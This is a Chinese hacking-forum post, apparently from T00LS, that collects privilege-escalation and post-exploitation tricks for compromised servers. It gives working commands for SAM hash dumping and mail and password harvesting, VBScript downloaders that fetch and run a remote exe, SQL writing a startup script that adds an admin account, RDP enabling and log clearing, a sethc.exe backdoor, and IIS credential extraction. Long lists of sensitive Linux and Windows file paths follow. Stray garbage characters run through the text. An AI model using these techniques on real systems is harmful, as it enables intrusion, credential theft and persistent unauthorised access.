感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
6 }& E) q  p- z3 `# F4 g————————————————————————————
. V* F# [) C  O& t: t' C3 b1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
( h8 [" O8 s0 M- @{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
  u2 \, {1 H" L: j3 ?2 j5 |$ i. _若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
. ]  U" Q; B% h: x- b7 X  ?token 漏洞补丁号 KB956572
  D) b2 |+ \! KChurrasco          kb952004
+ [* e* Z( F4 Y! n+ K! a4 L命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
6 x" ~1 m) @7 K. u- r0 b; r, b——————————————
2、收集系统信息的脚本  
for window：
$ G/ E+ g- ]+ F$ A- q1 V& p
7 ^0 Z+ ~/ h& e6 Z@echo off
echo #########system info collection
systeminfo
ver
9 ]$ |0 w- n$ y' Q' o& |hostname
5 ^- |4 @& b' z7 }, L2 ]  l# ~net user
net localgroup
' S6 n8 x( D0 O5 [; n0 C2 Unet localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query

0 _- d9 ~2 b6 r) Secho
echo ####task-list#############
" }4 e8 q2 \- s. i: k# Z, Y" Y) ^7 k" Ftasklist /svc
% `1 \7 C" P; b5 t. Oecho
7 v! l' u% c, X/ T+ \echo ####net-work infomation
ipconfig/all
route print
arp -a
' v; @3 y0 o3 r1 v* lnetstat -anipconfig /displaydns
% p! h2 z1 A# m: `4 ~0 h+ hecho
+ y! L# u7 q8 h* Xecho #######service############
% b2 [( W, X* X' c$ ]" _sc query type= service state= all
' ]: Y! W5 r3 l  p$ M! hecho #######file-##############
cd \
7 J% l2 D( e/ _  C6 Q( r4 {7 Btree -F
" D; Z7 p6 E( [( Mfor linux：

#!/bin/bash

; c# H* h; z5 M0 J3 z, M: b' f4 z) secho #######geting sysinfo####
: J1 d! B$ Z' J! m' Eecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
9 B; n# o" A' {echo #######basic infomation##
# N( u. H8 W5 D1 G& U! ncat /proc/meminfo
& W4 z8 `4 Q# D0 y& V7 Kecho
8 }+ q" Z7 d6 Rcat /proc/cpuinfo
echo
1 D# ?; r/ C& T0 N0 Zrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
' }" P# j+ j  e. |! W( G! A
4 H8 J: ~& }) K; U
2 m8 u* q2 }) X6 U8 p7 Z. e1 M- jecho 'u'r id is' `id`
echo ###atq&crontab#####
0 i, ^9 c" G1 g# r$ m$ Eatq
: x: e1 n+ F# G0 J  R6 [crontab -l
echo #####about var#####
5 v8 p' J: B2 u( g3 Tset
0 M, _2 h* r5 B
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
. f5 H1 E1 b7 h; t8 Zcat /etc/hosts
hostname
ipconfig -a
' G2 e" H. Z2 Z% qarp -v
echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list
2 A, z3 Q: s6 f# W
6 M1 u& i. D% a2 _& Rfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
% O1 L0 ?/ y0 D" t/ U4 Fdone
7 \/ F' H/ X! p! a' y* v2 {) y9 F
locate passwd >/tmp/password 2>/dev/null
/ E$ L! P! p6 E/ `+ K5 I) }. B6 Ysleep 5
* v& I! h" t9 x, U# a. Glocate password >>/tmp/password 2>/dev/null
" x/ d* ]( y) y2 gsleep 5
) W" f" b4 v, v, D; o+ Mlocate conf >/tmp/sysconfig 2>dev/null
& r% W/ ?$ w5 g9 }sleep 5
% _, d, G3 o! e: glocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
) F6 s, e8 Z2 u  h
) [! x1 s# t$ f0 x###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
  Q' Q$ ]) X, C! l* qrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
/ L- j2 h1 h" v1 ^, x3、ethash 不免杀怎么获取本机hash。
* `! N, \( t" k/ X. ]首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
4 t# G8 ^- _; d) S* u+ q- U注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
2 m0 p! I  I7 b7 Z" F据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
: L- |' \2 Q# \7 S! d) N: W. Q1
5 L' F- ]2 B4 ~; G5 R9 d& secho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 g1 S  J& h/ B+ Z, P9 N7 @echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
* r" a9 f; p0 C( g/ y; Q. [echo sGet.Type = 1 >>c:\windows\cftmon.vbs
% O0 n0 \8 F- u' z% H5 Secho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
0 D+ @3 a2 O8 v2 f( E" V9 \/ _echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
+ U& K* Z" D+ C) Y0 @7 Acftmon.vbs

2
1 ]) Y: g6 M' E4 }On Error Resume Nextim iRemote,iLocal,s1,s2
( v" w) `" {: ?4 Y$ h& j& miLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
( C1 ?3 N2 {9 rSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
7 U: G( ~$ z3 K! q5 }5 X  lsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
* o9 Q" N  O$ L& o- N3 S
- L3 _' v) q! }( `" a; Vcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
; |1 j' D9 @" Q& q  |
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
: o, O1 Q' S6 o, N6 [: X——————————————————
3 I% g+ N* b. d& N4 P- h5、
1.查询终端端口
! O0 Z' }7 g0 x2 K! aREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
. E" n# q. X% D0 [# P; X3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
! ^% t/ j, ?! a( a6 M" K+ JREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
7 e* T. T# Q2 j7 |& [# H& ]6、create table a (cmd text);
) C* }+ {7 h, @+ ?( \+ minsert into a values ("set wshshell=createobject (""wscript.shell"")");
3 a8 R  V9 R# v4 q5 b- iinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
- D5 d/ ~1 S' I$ Y7 L/ s7 Minsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
* }: c( Y6 Z6 ~: z7 f2 qselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
8 g2 q; X/ l- M& v9 \# m5 o————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
- o9 F) }( q3 U_____
8、for /d %i in (d:\freehost\*) do @echo %i
, w# }; T1 A2 s4 b% O- h
# q* T4 Z8 O- m2 v( o列出d的所有目录
  
# N/ z. q* m. u, F; d  for /d %i in (???) do @echo %i

* `; ?0 L' I- X3 `把当前路径下文件夹的名字只有1-3个字母的打出来

9 O+ B: n3 P% \) @# R, O' D2.for /r %i in (*.exe) do @echo %i
$ D! r) a) Q3 n% M6 _9 n7 C. X% a  
' ?/ ]' u* M# }. t0 j6 `$ Z以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
# w( Q& K3 w( b* r' C
/ v0 O  g$ {* c& X$ d3.for /f %i in (c:\1.txt) do echo %i
1 D: G7 J4 S$ C; Z' v  Z3 f5 v* b" S  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

  o. i( [5 F6 i# n1 \) ?+ I# w, R4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
) j* u* A4 |) i3 R8 G
! W5 O3 F3 r5 |, r5 `7 h9 B; S* M8 q  delims=后的空格是分隔符 tokens是取第几个位置
# C, x* P/ p) p' }4 J——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
7 U; n2 X0 ?+ U! zHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
2 U# f; h/ t8 X/ [% ^5 M( |# `修改PortNumber.

4 a1 c- ~+ o1 F3.清除3389登录记录:
. `$ s$ S( q7 ]" Lreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
* W7 U1 f% M; L$ S+ a  g9 u" B- jreg export HKLM\SYSTEM\RAdmin c:\a.reg

! J2 A5 @+ P5 F$ |5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
' u1 K) N$ L6 l  V
+ Y) m( J/ o& B- L( x# M6.IPSec默认免除项88端口(需重启):
8 t! V' [* E3 d% R6 |reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
  ^' f: i. R4 j$ t4 p( E7 s/ @5 Z或者
' t! u6 t% u% X  D7 N0 dnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
6 |0 t" I3 B7 X: pnetsh ipsec static set policy name="myipsec" assign=n

2 ]3 m2 h& I' n8 n8 Y$ x1 j8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

# b8 d8 u! m( G% }( x9 b9.另类方法抓系统密码HASH
0 W1 Q  n! G' [! C# C# w3 Qreg save hklm\sam c:\sam.hive
6 v- M- d. Y% z2 wreg save hklm\system c:\system.hive
7 O- N; B! q2 q# N+ n2 s  i. lreg save hklm\security c:\security.hive
# v+ ^( j" k0 a- w
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
4 @  A0 e$ J4 v
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
: a& B! a6 ^3 g$ A- b3 `Set ObjService=GetObject("IIS://LocalHost/W3SVC")
; h- @8 M% \" K8 y4 qFor Each obj3w In objservice
# `  [6 l' q7 f" i4 pchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
7 j  d6 T9 |* ~6 s, ]5 c8 g9 bif err.number<>0 then
3 ^' B0 W1 G. I! I& r) E) oexit for
msgbox("error!")
9 C& X' B* o  a- l; @! Vwscript.quit
  t& q$ ]: m, ?$ U/ xend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
0 K; X; Q- j8 l+ n; `/ U0 {set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
9 c0 b3 s' l/ a* npass=iisweb.AnonymousUserPass
8 G' ]) R$ `. b. R/ c3 Zpath=IIsWeb.path
. v, H2 E; G' a4 _5 p/ Q  clist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
# C6 H) D+ R! g: |6 eend if
/ u; B  B2 t. i( n- zNext
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
/ q0 i+ U0 x5 j  M" ?复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
8 Z7 M9 @1 I2 o9 Z1 V1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
& f3 Y* B4 u& A6 ]: ] 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
) Z7 D+ K5 u2 j 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
9 ^" a) d2 l, i& _1 R. a0 f url=request.severvariables("path_info")
' G+ ^, W6 q& r! ]% W  \' F path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
4 m; ]+ T' i8 h  B2 T# Q; P8 lLINUX常见路径：

/etc/passwd
/etc/shadow
0 ^( |" D0 Z9 k- a6 t( D0 f/etc/fstab
# E9 `2 I' d7 G0 _3 L/etc/host.conf
- b' T. k3 y% I0 Y/etc/motd
$ V3 L! Q& Z, B$ p, l8 N/etc/ld.so.conf
. J  P/ `9 C9 |3 x7 |* f/var/www/htdocs/index.php
/var/www/conf/httpd.conf
" ^6 R7 X6 d" G, ^; O0 v- P/var/www/htdocs/index.html
# ^4 P  N1 ]; z: A* U8 Y/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
$ h9 F8 V  z0 \! A/var/httpd/conf/php.ini
! O6 c+ `  A' m4 R) K: Y/var/www/index.html
6 a7 T4 W$ E. w2 |$ S! ?/var/www/index.php
- l/ @  \+ U, N$ I  P1 v5 Y/opt/www/conf/httpd.conf
2 {# ~+ |5 q5 t) p5 Z* v. h/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
3 @- H: M$ |" ]) S) F& y8 J9 f/usr/local/apache/htdocs/index.html
2 m5 P( h, ?9 I) M5 u( N/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
& ]# ?4 _3 f* y. W4 L' P8 h/usr/local/httpd2.2/htdocs/index.php
6 `0 `6 Q' {2 I/usr/local/httpd2.2/htdocs/index.html
% B" l- m& s# Z- K$ x/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
( h: O/ v, D0 r. r2 {7 H, M4 Q/etc/httpd/htdocs/index.php
+ x; p& B4 {( w  t6 r/etc/httpd/conf/httpd.conf
3 u6 j# D$ [# l2 P+ P/etc/httpd/htdocs/index.html
/www/php/php.ini
9 [1 r4 `& D0 t* o, e0 Z) b4 T) U/www/php4/php.ini
  u& u! p, a6 i$ s4 i9 G1 r8 H/www/php5/php.ini
/www/conf/httpd.conf
: q, h4 Y: b8 k) g/ G+ [" N7 M& B1 y/www/htdocs/index.php
$ U+ l# h8 I% s4 f+ _/www/htdocs/index.html
# i. r  C" ?: {4 Z7 \/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
8 {7 @( D4 U! v9 j/etc/apache/apache.conf
: b2 z- u, d9 d3 l" T9 u  |/etc/apache2/apache.conf
( x$ L$ F! a% g8 a  D& H/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
9 C% S( c2 ]! A. O5 m' i/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
  ?3 @0 R7 b, j( N9 B; o0 M4 u/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
+ w- d2 e" K( J' _5 e- z/var/log/apache/error.log
6 \7 u  R/ F6 I: V% V& P8 W; D2 [/var/log/apache/access_log
1 m& M  P: m2 t  Q( \6 W' `/var/log/apache/access.log
/var/log/apache2/error_log
9 ]) e  I; k' p0 [- G/ E/ @- L1 [/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
  k0 ^1 G# z$ x0 Z( a+ p  @( A. q/var/www/logs/error_log
/var/www/logs/error.log
% Y4 y" e) _% c2 _* V8 M- \/var/www/logs/access_log
/var/www/logs/access.log
) U7 i  N3 e) |. H6 I/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
8 f8 Z/ @8 P2 j2 u/usr/local/apache/logs/access_log
+ N, }' c- Q9 ~7 a/usr/local/apache/logs/access.log
+ O- c1 u5 @, z  ~/var/log/error_log
/var/log/error.log
/var/log/access_log
) F% R3 [. t' @) r2 f, \/var/log/access.log
( l7 M  Y, y8 ]3 u3 H/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
( C5 \1 \, K* G/ V3 I: P/bin/php.ini
- b" z" I" L$ f/etc/init.d/httpd
/etc/init.d/mysql
: w6 }0 Z( i9 [& W' r5 p% _/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
$ i6 X( _& ]' ], I+ u/usr/local/lib/php.ini
5 k" B+ A# l1 {. O/usr/local/php/lib/php.ini
' B0 a: W! C! V0 t! S% c8 |9 N( z% C/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/ s6 Y3 m0 o8 \1 {  \* u. K1 d8 I$ |/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
7 l% q! d' W1 P9 A/usr/local/apache/conf/httpd.conf
" C( ^) |( l0 x* }: Y/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
2 o9 Y6 U, I( S9 _, {4 G3 ~/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
( j9 }0 o  T; r7 K4 c/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
& A( U3 C9 d; d; _* c/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
# }' S4 y. a# p/etc/php/apache/php.ini
( t$ ^3 I  W% T  q* n, [6 n8 P/etc/php/apache2/php.ini
/ m1 }: h* Z3 O: k( N/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
( _, N4 `% Z9 W/var/local/www/conf/php.ini
( H7 A8 V$ o. x/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
$ @* ~9 i& G+ l4 o. i0 p6 E/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
4 v$ }* o" T, T1 o) s/apache/php/php.ini
/xampp/apache/bin/php.ini
3 |4 f0 U6 p$ Z3 w. f/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
1 ]6 a/ T& Z3 H. Y$ O7 ^; [/home2/bin/stable/apache/php.ini
3 M; k+ \3 \8 G5 H! N  h# o/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
3 s- ^" ~2 f: ]/var/log/mysql.log
% S3 D- G, J/ y( z2 D9 z/var/log/mysqlderror.log
/var/log/mysql/mysql.log
* B7 i, q& v' |  Q2 \/var/log/mysql/mysql-slow.log
/var/mysql.log
; v% V5 J  t2 Y1 F0 v/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
& x/ G: m5 l4 g3 @' v6 e) P5 \/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
1 r) y- e8 S0 L9 m5 B9 N/etc/my.cnf
/usr/local/cpanel/logs
' J) R7 l: w. e# R! ^/ K; ^/usr/local/cpanel/logs/stats_log
/ s: o: x6 F0 ^  _& D. `/usr/local/cpanel/logs/access_log
) l+ X  _# V2 j* e) L! b/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
8 n4 x0 E! p; j4 W/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
3 n3 ^( g6 ^" l1 b; S8 g4 v/usr/local/share/examples/php4/php.ini
( l$ E! U2 q5 u5 ~# H/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
' L2 Q+ e8 a0 @, w6 l0 H$ _
c:\windows\php.ini
1 C. V# x% k3 a- p  `c:\boot.ini
c:\1.txt
c:\a.txt

& D+ R3 ]/ z3 w. ^) K! A, X# Dc:\CMailServer\config.ini
; f" e$ O7 E. M" P, K* }c:\CMailServer\CMailServer.exe
2 |$ D. Q, @" N, b0 ?( _c:\CMailServer\WebMail\index.asp
, ~% i2 s, c2 I4 R) dc:\program files\CMailServer\CMailServer.exe
4 t: R% G8 u# B6 G3 Bc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
( `( [5 ]7 _, ~8 S" gC:\WinWebMail\Web\default.asp
& W, [$ B! V- J0 j  b: CC:\WINDOWS\FreeHost32.dll
) c# [8 {5 f8 p9 k+ [' S% X6 JC:\WINDOWS\7i24iislog4.exe
3 f2 O8 C9 v/ b! d: Y! LC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

. h5 K0 x! z( P9 oc:\hzhost\hzclient.exe
3 g# y. Y2 N6 S5 ?0 j# F0 CC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
/ h" ^: G2 U7 c# |7 LC:\WINDOWS\web.config
( s& ]; W: X- zc:\web\index.html
" Q- u2 i% @4 W% W4 X- O$ Kc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
% o, u: [8 c( O, ic:\wwwsite\index.asp
2 L" C& g. w6 P( s. b3 `/ F0 S% Bc:\WWWROOT\index.asp
' s4 N4 M. @: d; m* |+ yc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
% Z# K2 q5 ^, {6 k$ F8 I, wc:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
; B! Y- H8 g7 G3 |) M! K# jc:\web\default.asp
c:\www\default.asp
9 t5 {1 ?' I4 t0 Ic:\wwwsite\default.asp
% d  w% v- h9 I5 S( z7 pc:\WWWROOT\default.asp
c:\web\default.php
% K6 e( F; R" X) b% q8 n% sc:\www\default.php
c:\WWWROOT\default.php
7 s6 v+ E) j- _* f# C0 cc:\WWWsite\default.php
' Q# L9 X1 Y8 |' v1 j) }C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
, v- {5 s9 N/ {% x3 `! j. m/ [% vc:\winnt\notepad.exe
! H7 t  g8 u. w7 D/ D* @7 QC:\Program Files\Microsoft Office\OFFICE10\winword.exe
7 I! Z0 G" V+ l6 n6 n1 [; g0 B& P! PC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
! W) }5 J0 p' h: {2 R  h- HC:\Program Files\Internet Explorer\IEXPLORE.EXE
- B" J1 Z- ~4 ^  R, Z& P4 }7 GC:\Program Files\winrar\rar.exe
+ B/ j( o$ a' X) i1 y1 p* S' p6 YC:\Program Files\360\360Safe\360safe.exe
2 k' O: Q+ F  u: ~- H  j2 O% iC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
  q; Q; p$ J4 J5 K& Fc:\ravbin\store.ini
4 j- @1 Q. A' J4 sc:\rising.ini
; v8 K6 e$ a) h( M' Z  Y1 k8 _2 s$ rC:\Program Files\Rising\Rav\RsTask.xml
# @, s, k9 ], X$ T  w$ c3 @: ?C:\Documents and Settings\All Users\Start Menu\desktop.ini
( S6 n" |& t3 gC:\Documents and Settings\Administrator\My Documents\Default.rdp
% |! M* C  h9 vC:\Documents and Settings\Administrator\Cookies\index.dat
/ G6 a1 w4 o) F* q9 QC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
, Z/ u; z$ _0 yC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
6 @( S1 g- _/ c/ `3 n" kC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
2 T/ S9 I# p3 W3 `2 NC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
, t4 y# Q- _7 F, S7 H* j  z0 u4 TE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
' |, g  M0 t4 y& i. P7 ~C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
+ L- e0 w' l% ^7 Y2 t2 X4 e. AC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
9 G$ v. A# B" R" r# K7 wC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
$ a% m5 L0 \! m1 kC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
: W) V2 _% Q( T3 V- X( V! f9 }. GC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
1 q) v% g/ T4 ?* MC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
: s9 k+ g. ]7 X& FC:\MySQL\MySQL Server 5.0\my.ini
3 o& z' W8 b% jC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
. _: n- U9 o; \: K% jC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
; S  E; c6 L4 j. K' j) ?c:\MySQL\MySQL Server 4.1\bin\mysql.exe
: [- {5 K3 V7 z& Lc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
/ C: G. ~1 s, ]# u6 G8 E; qC:\WINDOWS\system32\inetsrv\w3wp.exe
3 N. l  I2 p1 O: O* @8 G( @C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
+ F" t, ]2 O5 S2 zC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
% `1 x, c0 l7 v& r  f  e9 |C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
/ g6 l6 c7 x- ]1 o( BC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
* }% P, ]4 T& a  h  xc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
  k( J# S4 Z7 w# x$ Tc:\tomcat6\bin\version.sh
8 U3 Z8 b( W8 ^+ Gc:\tomcat\bin\version.sh
, y$ `9 Q4 E+ _4 ^7 bc:\program files\tomcat6\bin\version.sh
